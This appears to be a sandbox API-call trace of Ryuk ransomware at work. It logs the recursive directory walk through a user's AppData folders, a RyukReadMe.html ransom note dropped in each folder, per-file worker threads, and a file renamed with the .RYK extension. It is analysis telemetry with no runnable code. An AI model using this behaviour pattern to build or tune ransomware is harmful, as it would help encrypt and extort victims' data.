	[0282.289] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1
	[0282.289] SetLastError (dwErrCode=0x0) 
	[0282.289] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8
	[0282.289] GetLastError () returned 0x0
	[0282.289] WriteFile (in: hFile=0x8f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0282.291] CloseHandle (hObject=0x8f8) returned 1
	[0282.292] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Active\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0282.292] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0282.293] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0282.293] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0282.293] SetLastError (dwErrCode=0x0) 
	[0282.293] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Active\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\active\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8
	[0282.298] GetLastError () returned 0x0
	[0282.298] WriteFile (in: hFile=0x8f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0282.300] CloseHandle (hObject=0x8f8) returned 1
	[0282.300] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1
	[0282.300] SetLastError (dwErrCode=0x0) 
	[0282.300] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8
	[0282.301] GetLastError () returned 0xb7
	[0282.301] CloseHandle (hObject=0x8f8) returned 1
	[0282.301] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0282.312] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0282.313] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe35acf0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe35acf0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="RECOVE~2.DAT")) returned 1
	[0282.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0282.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908
	[0282.324] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.325] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6dd28c60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6dd28c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe35acf0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 1
	[0282.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0282.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8
	[0282.326] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.327] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe35acf0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe35acf0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe35acf0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{4BD65~1.DAT")) returned 1
	[0282.327] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0282.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c
	[0282.329] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.329] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30603250, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{69512~1.DAT")) returned 1
	[0282.329] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0282.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910
	[0282.331] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.332] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30603250, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{69512~1.DAT")) returned 0
	[0282.332] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0282.334] SetLastError (dwErrCode=0x0) 
	[0282.334] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.334] GetLastError () returned 0x3
	[0282.334] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0282.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.334] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0
	[0282.334] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0282.334] SetLastError (dwErrCode=0x0) 
	[0282.334] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4
	[0282.335] GetLastError () returned 0xb7
	[0282.335] CloseHandle (hObject=0x8f4) returned 1
	[0282.335] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7dca2800, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7dca2800, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e308320, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0282.335] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7dca2800, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7dca2800, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e308320, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0282.335] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0282.335] SetLastError (dwErrCode=0x0) 
	[0282.335] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0282.336] GetLastError () returned 0xb7
	[0282.336] CloseHandle (hObject=0x8cc) returned 1
	[0282.336] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e6c0580, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e6c0580, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0282.336] SetLastError (dwErrCode=0x0) 
	[0282.336] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0282.336] GetLastError () returned 0xb7
	[0282.336] CloseHandle (hObject=0x8cc) returned 1
	[0282.337] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e6c0580, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e6c0580, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0282.337] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e6c0580, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e6c0580, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0282.337] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0282.337] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0282.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4
	[0283.488] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.489] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf33a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e6c0580, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb.RYK", cAlternateFileName="LOCALM~1.RYK")) returned 1
	[0283.489] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914
	[0283.493] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.494] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e37a740, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7e37a740, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7e37a740, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0283.494] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0283.494] SetLastError (dwErrCode=0x0) 
	[0283.494] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0283.495] GetLastError () returned 0xb7
	[0283.495] CloseHandle (hObject=0x918) returned 1
	[0283.495] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0283.495] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.495] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0283.495] SetLastError (dwErrCode=0x0) 
	[0283.496] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c
	[0283.496] GetLastError () returned 0x0
	[0283.496] WriteFile (in: hFile=0x91c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0283.498] CloseHandle (hObject=0x91c) returned 1
